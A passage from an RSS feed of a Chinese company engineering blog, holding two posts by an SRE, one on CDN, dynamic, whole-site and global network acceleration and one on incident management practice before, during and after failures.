<li>动态接口请求响应慢</li></ol></li>
<li>原因：</li>
<li>用户到源站网络距离远；</li>
<li>用户到源站网络线路质量差；</li>
<li>用户访问静态内容大，本身需要时间；</li>
<li>源站负载大：因为源站带宽、源站硬件资源等受限</li></ul></li>
<li>用户访问国外源站遇到的情况，同用户访问国内源站遇到的情况外，还有其他特殊场景：
<ul><li>区域跨度更大；</li>
<li>网络距离更远；</li>
<li>网络线路质量更差，不同区域访问还有可能有访问限制。  </li></ul></li>
</ul>

<p>那么，下文介绍的就是我们常见的网络加速方法，主要包括以下几类：</p>

<ul>
<li>静态加速</li>
<li>动态加速DCDN（Dynamic</li></ul>]]></description><link>https://tech.wekoi.cn/2024/04/08/wang-zhan-jia-su-zhi-wang-luo-jia-su/</link><guid isPermaLink="false">2ec5fd6e-4d08-410b-9026-d785ffef6d4f</guid><category><![CDATA[后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Mon, 08 Apr 2024 10:55:14 GMT</pubDate><content:encoded><![CDATA[<h4 id="">背景</h4>

<p><img src="https://wtc-blog-file.wekoi.cn/freed/20240229113331.png" alt="20240229113331" title=""> <br>
如上图，互联网企业的国内业务肯定部署在国内，出海业务则一般部署在海外；具体部署区域，则一般根据用户所在区域，选择就近的区域。  </p>

<p>源站部署到不同区域，选择不同的机房，对于各地用户来说，会带来网络距离及网络线路质量的差异，从而对用户的访问响应时间也会产生一定差异。  </p>

<p>网络距离长及网络线路质量差，则会给用户带来比较差的体验，具体情况概括如下：   </p>

<ul>
<li>用户访问国内源站遇到的情况：
<ul><li>内容分类：
<ol><li>静态内容访问慢，因为静态内容相对动态api接口请求的响应大小，一般大很多；
<ul><li>静态内容包括：静态网页（html、css、js、图片）、大文件、点播；</li></ul></li>
<li>动态接口请求响应慢</li></ol></li>
<li>原因：</li>
<li>用户到源站网络距离远；</li>
<li>用户到源站网络线路质量差；</li>
<li>用户访问静态内容大，本身需要时间；</li>
<li>源站负载大：因为源站带宽、源站硬件资源等受限</li></ul></li>
<li>用户访问国外源站遇到的情况，同用户访问国内源站遇到的情况外，还有其他特殊场景：
<ul><li>区域跨度更大；</li>
<li>网络距离更远；</li>
<li>网络线路质量更差，不同区域访问还有可能有访问限制。  </li></ul></li>
</ul>

<p>那么，下文介绍的就是我们常见的网络加速方法，主要包括以下几类：</p>

<ul>
<li>静态加速</li>
<li>动态加速DCDN（Dynamic Route for Content Delivery Network）</li>
<li>全站加速(Whole Site Acceleration)</li>
<li>全球加速（Global accelerator）  </li>
</ul>

<p>ps：因为是要介绍的技术是通用技术，各家公有云都有自己的产品，所以在下文的介绍中，我为了避免重复的画图及描述，引用了各家公有云的文档，在下文中有对应标示。</p>

<h4 id="">静态加速</h4>

<p>静态加速，我们听过最多的就是CDN，而且一般用的是CDN的静态文件缓存加速功能。 <br>
CDN加速的核心就是就近访问缓存：</p>

<ul>
<li>让用户就近访问到性能最佳的边缘加速节点；</li>
<li>相对于源站，边缘节点是部署在不同区域，离用户更近的镜像节点，可以缓存源站内容供用户访问。  </li>
</ul>

<p>CDN的加速原理（引用阿里云官网文档）：  </p>

<ul>
<li>如图：<img src="https://wtc-blog-file.wekoi.cn/freed/20240229145925.png" alt="20240229145925" title=""></li>
<li>请求过程：
<ol><li>当终端用户向www.aliyundoc.com下的指定资源发起请求时，首先向Local DNS（本地DNS）发起请求域名www.aliyundoc.com对应的IP。</li>
<li>Local DNS检查缓存中是否有www.aliyundoc.com的IP地址记录。如果有，则直接返回给终端用户；如果没有，则向网站授权DNS请求域名www.aliyundoc.com的解析记录。</li>
<li>当网站授权DNS解析www.aliyundoc.com后，返回域名的CNAME www.aliyundoc.com.example.com。</li>
<li>Local DNS向阿里云CDN的DNS调度系统请求域名www.aliyundoc.com.example.com的解析记录，阿里云CDN的DNS调度系统将为其分配最佳节点IP地址。</li>
<li>Local DNS获取阿里云CDN的DNS调度系统返回的最佳节点IP地址。</li>
<li>Local DNS将最佳节点IP地址返回给用户，用户获取到最佳节点IP地址。</li>
<li>用户向最佳节点IP地址发起对该资源的访问请求。</li>
<li>返回用户所需数据：</li>
<li>如果该最佳节点已缓存该资源，则会将请求的资源直接返回给用户（步骤8），此时请求结束。</li>
<li>如果该最佳节点未缓存该资源或者缓存的资源已经失效，则节点将会向源站发起对该资源的请求。获取源站资源后结合用户自定义配置的缓存策略，将资源缓存到CDN节点并返回给用户（步骤8），此时请求结束。  </li></ol></li>
</ul>

<p>阿里云CDN产品架构图，其他公有云产品架构图差不多。
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229150346.png" alt="20240229150346"></p>

<ul>
<li><p>链路质量系统</p>

<ul><li>链路质量探测系统会实时监测缓存系统中的所有节点和链路的实时负载以及健康状况，并将结果反馈给调度系统，调度系统根据用户请求中携带的IP地址解析用户的运营商和区域归属，然后综合链路质量信息为用户分配一个最佳接入节点。</li></ul></li>
<li><p>调度系统</p>

<ul><li>支持策略中心、DNS、HTTPDNS和302调度模式。当终端用户发起访问请求时，用户的访问请求会先进行域名DNS解析，然后通过阿里云CDN的调度系统处理用户的解析请求。</li></ul></li>
<li><p>缓存系统</p>

<ul><li>用户通过收到的最佳接入节点访问对应的缓存节点，如果节点已经缓存了用户请求的资源，会直接将资源返回给用户；如果L1（边缘节点）和L2（汇聚节点）节点都没有缓存用户请求的资源，此时会返回源站去获取资源并缓存到缓存系统，供后续用户访问，避免重复回源。分级缓存的部署架构可提高内容分发效率、降低回源带宽以及提升用户体验。</li></ul></li>
<li><p>支撑服务系统</p>

<ul><li>支撑服务系统包括天眼、数据智能和配置管理系统，分别具备了资源监测、数据分析和配置管理能力。</li>
<li>资源监测：天眼可以对缓存系统上用户业务运行的状态进行监测。例如对CDN加速域名的QPS、带宽、HTTP状态码等常见指标的监控。</li>
<li>数据分析：用户可以分析CDN加速域名的TOP URL、PV、UV等数据。</li>
<li>配置管理：通过配置管理系统，用户可以配置缓存文件类型、缓存时去参数缓存等缓存规则，以提升缓存系统的运作效率。</li></ul></li>
</ul>

<p>节点分布（引用华为云官网文档）</p>

<ul>
<li>华为云国内节点：  <img src="https://wtc-blog-file.wekoi.cn/freed/20240229152638.png" alt="20240229152638" title="">  </li>
<li>华为云国外节点：  <img src="https://wtc-blog-file.wekoi.cn/freed/20240229152659.png" alt="20240229152659" title=""></li>
</ul>

<p>cdn加速类型（引用华为云官网文档）</p>

<ul>
<li>网页加速 <br>
<ul><li>网站的html、js、css、图片等静态资源加速。
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229154346.png" alt="20240229154346" title=""></li></ul></li>
<li>大文件下载加速
<ul><li>APP更新，手游更新等，传统的下载网站类业务。
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229154444.png" alt="20240229154444" title=""></li></ul></li>
<li>点播加速
<ul><li>在线教育类网站、在线视频分享网站、互联网电视点播平台、音乐视频点播APP的音视频点播服务，会涉及音视频转码。
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229154610.png" alt="20240229154610" title="">  </li></ul></li>
</ul>

<h4 id="dcdndynamicrouteforcontentdeliverynetwork">动态加速DCDN（Dynamic Route for Content Delivery Network）</h4>

<p>web1.0时代，网站大部分是静态内容，所以最开始的静态加速就能满足需求；随着web2.0及移动互联网时代的到来，网站中的动态请求占比逐渐提升。 <br>
那如果动态内容请求慢，是否有加速的办法了？答案是有的，那就是动态加速。 <br>
如下图，因为动态内容如果加了缓存，那么用户访问到的就不是最新的内容； <br>
所以动态请求一般不做缓存加速的方案，而是通过优化边缘节点到源站的回源链路的方式来加速； <br>
cdn静态缓存加速的边缘节点一般是通过公网线路回源到源站； <br>
动态加速网络会把动态加速网络中的所有边缘节点互联成一个私有网络； <br>
动态加速就是用户就近访问到边缘节点后，通过这个私有网络，智能选择一条最优质量的线路回源，保证回源过程不会受到公网网络的不确定因素的影响的方式来进行动态请求的加速；同时这个私有网络也会进行一些长链接等协议优化的方式来加速。 <br>
ps：</p>

<ul>
<li>动态加速并不能解决因为物理距离增加的响应时间变长的问题。</li>
<li>动态加速效果，需要业务自己实际对比测试，看满不满足业务需求。</li>
<li>图片来自阿里云
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229164821.png" alt="20240229164821"></li>
</ul>

<h4 id="wholesiteacceleration">全站加速(Whole Site Acceleration)</h4>

<p>全站加速，其实就是同时具备静态加速和动态加速的能力。 <br>
CDN初代产品具有的能力就是静态加速，随着升级支持动态加速的功能，就变成了全站加速。 <br>
不同的云厂商产品规划不同，有些云厂商会把全站加速单独拿出来作为一个产品，有些云厂商则把全站加速集成到了CDN产品中。 <br>
全站加速的过程如下图：</p>

<ul>
<li>用户发起的请求如果是静态请求，则会遵循CDN静态加速的流程，主要是通过缓存来加速；</li>
<li>用户发起的请求如果是动态请求，则会遵循动态加速的流程，主要是通过智能路由来加速。  </li>
</ul>

<p>ps：不同云厂商的动态加速计费方式和静态加速计费方式可能不一样，需要注意计费方式不同带来的成本不同的问题。图片来自华为云： <br>
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229170909.png" alt="20240229170909" title="">  </p>

<h4 id="globalacceleratoraws">全球加速（Global accelerator）（引用aws官网文档）</h4>

<p>全球加速核心和全站加速中的动态加速的原理类似，大概如下：</p>

<ul>
<li>把分布在全球的边缘节点组成一个云厂商的私有网络；</li>
<li>用户会访问到就近的边缘节点；</li>
<li>边缘节点会通过私有网络回源到源站；</li>
<li>源站可以部署多个，部署到不同区域（region）；</li>
<li>回源可以根据策略回源到不同源站。</li>
<li>AnyCast IP可以绑定到不同区域的边缘节点。
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229184402.png" alt="20240229184402"></li>
</ul>

<p>应用场景（图片来自华为云）：</p>

<ul>
<li>游戏业务 <br>
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229190311.png" alt="20240229190311" title=""></li>
<li>跨国办公 <br>
<img src="https://wtc-blog-file.wekoi.cn/freed/20240229190840.png" alt="20240229190840" title=""></li>
</ul>

<h4 id="">总结</h4>

<ol>
<li>怎么选择加速产品？ <br>
<ul><li>看业务需求：是要对静态文件加速，还是要对动态接口加速，或者对静态文件和动态接口都加速？</li>
<li>静态文件加速选择CDN静态加速即可；</li>
<li>动态api加速选择动态加速DCDN，同时一般会启用静态加速，即开启全站加速；</li>
<li>动态api加速当然也可以选择全球加速（Global accelerator）。</li></ul></li>
<li>使用加速产品的注意事项： <br>
<ul><li>确认厂商的计费模式及价格；这个关系到我们的成本；</li>
<li>需要看厂商是自建CDN还是融合CDN？这个关系到厂商产品的性价比；</li>
<li>各家CDN厂商的节点分布情况以及是否能够提供节点清单？用来确认用户访问的节点是不是CDN厂商的节点？</li>
<li>确认使用加速产品前后的性能对比；可以使用RUM（真实用户http访问监控）数据做对比分析；</li>
<li>确认厂商对CDN边缘节点的健康检测及故障迁移能力；这个可能涉及到一种情况：我们的用户访问到了不能正常提供服务的CDN边缘节点，即用户此时不能正常访问；如果厂商不能快速检测到异常的CDN边缘节点并把流量切换到其他正常CDN边缘节点，就会影响我们业务的可用率；这种问题我们自己能否感知，取决于我们的RUM（真实用户http访问监控）的能力。</li>
<li>确认边缘节点的缓存策略；比如说http状态码404、502、503是否缓存？</li>
<li>确认边缘节点的回源策略；有些厂商的cdn静态加速是通过公网回源，有些厂商会通过厂商自己的私有优化的网络回源。</li>
<li>确认跨站请求配置、客户端ip透传配置；不同配置对业务有不同影响；</li>
<li>确认是否支持IP黑白名单功能；内部系统开启CDN加速，可能需要用到IP白名单来限制其他IP的访问；</li>
<li>确认是否部署CDN使用量实时监控；这个主要是避免异常的大流量或大带宽引起的异常费用；比如平常带宽1Gbps，突然涨到5Gbps甚至更大，那么费用也会对应增长。</li></ul></li>
<li>选择什么加速产品以及选择哪家厂商可以根据自身业务的需求以及第2点中的注意事项（主要是各厂商的性价比）评估选择即可。</li>
</ol>

<h3 id="">作者介绍</h3>

<ul>
<li>邹永红 高级SRE专家</li>
</ul>]]></content:encoded></item><item><title><![CDATA[故障管理三部曲]]></title><description><![CDATA[<h4 id="">背景</h4>

<ul>
<li>在任何一个生产产品的行业，不管是互联网行业，还是建筑行业，或者是医疗行业，都得面对一个事物，那就是故障；</li>
<li>故障处理的好，那只是一个故障；故障处理的不好，就有可能升级成不同级别的事故；</li>
<li>出现事故，这是任何人都不想看见的；</li>
<li>如何避免事故，是安全生产的头等大事；</li>
<li>在这里，我会介绍我们公司的一些安全生产及故障管理的实践，大概分如下几部分：
<ul><li>故障前；</li>
<li>故障中；</li>
<li>故障后；</li>
<li>故障处理流程图；</li>
<li>事故管理制度；</li>
<li>可用率保障小组。</li></ul></li>
</ul>

<h4 id="">故障前</h4>

<ul>
<li><p>既然是故障前，说明故障还未发生，那故障前的关键工作包含以下几点：</p>

<ul><li>隐患分析及修复；</li>
<li>故障预警；</li>
<li>预警响应。</li></ul></li>
<li><p>隐患分析及修复</p>

<ul><li>隐患分析目的：分析清楚自身系统的隐患，才能知道可能的风险以及如何应对；</li>
<li>隐患分析方法及工具：<a href="https://time.geekbang.org/article/9391?code=4cnn4UWjC67wg8UpB2w86l0zY34bjpIIo5sc7zIEiO0%3D">FMEA方法，排除架构可用性隐患的利器</a>，引用自《从零开始学习架构》；</li>
<li>结合自身实际情况梳理隐患表，以下是我们结合实际情况，针对技术基础设施redis，输出的隐患分析demo。  </li></ul></li>
</ul>

<p><img src="https://tech.wekoi.cn/content/images/2024/02/Dingtalk_20240229164005.jpg" alt="alt">
  - 隐患修复：
    - 目的：修复隐患，提高系统的可用性、</p>]]></description><link>https://tech.wekoi.cn/2024/02/29/gu-zhang-guan-li-san-bu-qu/</link><guid isPermaLink="false">04f05ea0-8fe0-45a8-8b12-e427301562aa</guid><category><![CDATA[后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Thu, 29 Feb 2024 10:59:05 GMT</pubDate><media:content url="https://tech.wekoi.cn/content/images/2024/02/image-7.png" medium="image"/><content:encoded><![CDATA[<h4 id="">背景</h4>

<ul>
<li>在任何一个生产产品的行业，不管是互联网行业，还是建筑行业，或者是医疗行业，都得面对一个事物，那就是故障；</li>
<li>故障处理的好，那只是一个故障；故障处理的不好，就有可能升级成不同级别的事故；</li>
<li>出现事故，这是任何人都不想看见的；</li>
<li>如何避免事故，是安全生产的头等大事；</li>
<li>在这里，我会介绍我们公司的一些安全生产及故障管理的实践，大概分如下几部分：
<ul><li>故障前；</li>
<li>故障中；</li>
<li>故障后；</li>
<li>故障处理流程图；</li>
<li>事故管理制度；</li>
<li>可用率保障小组。</li></ul></li>
</ul>

<h4 id="">故障前</h4>

<ul>
<li><img src="https://tech.wekoi.cn/content/images/2024/02/image-7.png" alt="故障管理三部曲"><p>既然是故障前，说明故障还未发生，那故障前的关键工作包含以下几点：</p>

<ul><li>隐患分析及修复；</li>
<li>故障预警；</li>
<li>预警响应。</li></ul></li>
<li><p>隐患分析及修复</p>

<ul><li>隐患分析目的：分析清楚自身系统的隐患，才能知道可能的风险以及如何应对；</li>
<li>隐患分析方法及工具：<a href="https://time.geekbang.org/article/9391?code=4cnn4UWjC67wg8UpB2w86l0zY34bjpIIo5sc7zIEiO0%3D">FMEA方法，排除架构可用性隐患的利器</a>，引用自《从零开始学习架构》；</li>
<li>结合自身实际情况梳理隐患表，以下是我们结合实际情况，针对技术基础设施redis，输出的隐患分析demo。  </li></ul></li>
</ul>

<p><img src="https://tech.wekoi.cn/content/images/2024/02/Dingtalk_20240229164005.jpg" alt="故障管理三部曲">
  - 隐患修复：
    - 目的：修复隐患，提高系统的可用性、可扩展性、可维护性；
    - 方法及工具：
      - 根据优先级安排修复任务排期；
      - 持续跟进任务进度，形成闭环。
  - 隐患分析并非一劳永逸，需要按周期持续迭代及优化。</p>

<ul>
<li><p>故障预警</p>

<ul><li>故障预警的核心工作是完善监控告警体系，这也是一个专题工作及实践；</li>
<li>这里提出2个问题及思考：</li>
<li>思考1:故障前,说明故障还未发生，但是为啥最终故障发生了（针对缓慢触发型告警）？
<ul><li>缓慢触发型告警：告警不是突发性触发的告警，告警对应指标的值是缓慢增长到告警阈值，触发的故障时可以避免的；</li>
<li>故障原因：</li>
<li>监控告警有没有配置：覆盖率是否100%？监控告警覆盖对象有没有被自动化添加到告警对象中？</li>
<li>监控告警覆盖维度是否全面？常见的维度（指标、日志、trace），需要整个业务研发团队一起完善，需要对自己负责的系统做好监控告警；</li>
<li>告警触发方式是否完善？阈值告警（count）、斜率告警（pdiff）等；</li>
<li>监控告警有无触发验证？配置了告警，但没有验证过，往往会失效；</li>
<li>故障处理是否闭环？星星之火，可以燎原，故障处理要像灭火一样处理干净。</li>
<li>优化措施：</li>
<li>完善监控告警体系。</li></ul></li>
<li>思考2:完善了监控告警，就不会有故障了？
<ul><li>突发型触发告警：告警是突发性触发的告警，告警对应指标的值是一下子增长到告警阈值，触发的故障较难避免；</li>
<li>故障原因：</li>
<li>有变更：有发布或重启服务、有变更配置、外部依赖有变更、有服务被关闭或下线等；</li>
<li>有突发流量：有推广活动、受到外部或自身原因引起的DDOS攻击等；</li>
<li>优化措施：</li>
<li>不要轻视线上变更（有可能触发研发高压线及严重事故）；</li>
<li>完善操作sop及应急预案。</li></ul></li></ul></li>
<li><p>预警响应</p>

<ul><li>预警响应有两个关键点：</li>
<li>告警方式能否有效通知到处理人？</li>
<li>故障处理是否及时？如果不及时处理，故障可能升级成事故；</li>
<li>告警方式怎么有效通知到处理人？</li>
<li>确保重要告警，使用电话告警，电话、短信、邮件的通知到人的有效性不一样，电话最高；</li>
<li>确保告警接受人能正常接收到告警（手机需要保持非静音、有电、有信号）；</li>
<li>确保告警有升级策略，避免因为一个人没响应，告警没有备份处理人处理的情况；</li>
<li>故障怎么能被及时处理？</li>
<li>处理故障处理流程，按SOP操作；</li>
<li>梳理故障应急预案，做好演练；</li>
<li>保障工具良好运行，避免一到处理故障，就出现各种异常情况（无网络、vpn失效、电脑死机、家用电脑和工作电脑环境不一致等）；</li>
<li>设定告警响应OKR，比如一个OKR周期内，0.3分标准为告警未及时响应次数《2（根据团队具体人数及情况而定）。</li></ul></li>
</ul>

<h4 id="">故障中</h4>

<ul>
<li>既然是故障中，说明故障已经发生，那故障中的关键工作包含以下几点：
<ul><li>故障信息同步：</li>
<li>找人、确认所有影响、服务恢复方案和预计恢复时间；</li>
<li>故障处理方案同步；</li>
<li>故障处理
<ul><li>止损、保留现场；</li>
<li>恢复服务；</li></ul></li>
<li>故障恢复信息同步；</li>
<li>故障升级；</li></ul></li>
</ul>

<h4 id="">故障后</h4>

<ul>
<li>既然是故障后，说明故障已经修复，那故障后的关键工作包含以下几点：
<ul><li>故障报告</li>
<li>事故描述</li>
<li>事故解决方案</li>
<li>事故原因分析</li>
<li>事故影响</li>
<li>后续如何避免</li>
<li>事故收尾工作</li>
<li>问题是否切底解决
<ul><li>未解决，有解决方案：追踪和解决问题（建任务），形成闭环。</li>
<li>未解决，没有根治方案：完善预防监控措施。</li></ul></li></ul></li>
</ul>

<h4 id="">故障处理流程图</h4>

<ul>
<li>根据以上的“故障前、故障中、故障后”总结出微鲤故障处理流程图，SOP如下图，具体情况，还需具体分析。
<img src="https://wtc-blog-file.wekoi.cn/freed/20240129162155.png" alt="故障管理三部曲"></li>
<li>故障处理流程图中的关键角色：
<ul><li>报警人：反馈故障的人；</li>
<li>接警人：接到故障反馈的人；</li>
<li>指挥员：故障处理全局协调人；</li>
<li>快恢负责人：能够快速恢复故障，止损的人；</li>
<li>诊断负责人：诊断故障原因，给出解决方案的人。</li></ul></li>
</ul>

<h4 id="">事故管理制度</h4>

<ul>
<li>目的：出了故障后，我们需要上报故障，看故障是否升级为事故，并进行事故管理，所以需要建立对应的事故管理制度。</li>
<li>事故管理制度关键工作包含以下几点：
<ul><li>确定事故管理负责人：
<ul><li>跟进事故记录；</li>
<li>跟进事故定级和定责；</li>
<li>跟进事故处理和总结；</li>
<li>每月发送事故月报到部门负责人；</li></ul></li>
<li>事故定级，根据对业务影响情况定级；</li>
<li>事故定责，根据需要改进的地方定责；</li>
<li>制定事故记录模板：
<ul><li>事故等级</li>
<li>事故时间以及发现人</li>
<li>事故现象</li>
<li>事故影响</li>
<li>事故解决方案</li>
<li>事故原因</li>
<li>后续改进</li></ul></li>
<li>制定事故处理红线：出现事故后必须同步信息至业务负责人，为了避免扩大损失快速处理的同时，处理流程及事故信息需同步公开，不得私自修复后隐瞒；</li>
<li>制定研发高压线：需要定义清楚未经授权或确认，私自进行会触发事故的高危操作，根据企业具体情况制定。</li></ul></li>
</ul>

<h4 id="">可用率保障小组</h4>

<ul>
<li>目的：
<ul><li>从全方位提高每个业务的可用率；</li>
<li>基于微鲤事故管理机制，我们出了事故后，事故管理存在定责的环节，这中间可能存在定责不清的情况，为了优化这种情况，所以建立了可用率保障小组及机制。</li></ul></li>
<li>机制
<ul><li>每个业务团队，组建一个可用率保障小组；</li>
<li>可用率保障小组成员由研发、测试、运维共同组成；</li>
<li>业务可用率由可用率保障小组部分或全部成员保障；</li>
<li>故障定责机制：
<ul><li>责任方无异议，遵循事故管理机制责任划分；</li>
<li>业务方需要对业务可用率做好监控告警，因业务方不清楚自己负责业务的可用率导致的故障由业务方负主责（目的：推进业务方关注自己的业务可用性）；</li>
<li>每个业务方需要对自己负责的业务系统的可用性、可用率负责；</li>
<li>如果有支撑方，业务方需要告知支撑方隐患点以及需要支撑方做什么来保障可用性；</li>
<li>业务方需要给出自己的承若及SLA；</li></ul></li>
<li>需求方和支撑方都可以给对方提出高可用优化建议，如果技术委员会认定可执行但没有执行，引起的故障为未执行建议方主责；</li>
<li>引起故障的原因都不在双方的隐患分析里面，且故障定责有异议，则双方共同承担主责。</li></ul></li>
</ul>

<h4 id="">总结</h4>

<ul>
<li>以上是我们在故障管理方面的实践经验，主要就是故障管理三部曲以及其他一些实践，包括故障前、故障中、故障后、故障处理流程图、事故管理制度、可用率保障小组等方面实践；</li>
<li>我们可以根据我们具体情况，具体分析，持续优化故障管理，达到减少故障、避免故障、减少业务损失的目的。</li>
</ul>

<h3 id="">作者介绍</h3>

<ul>
<li>邹永红 高级SRE专家</li>
</ul>]]></content:encoded></item></channel></rss>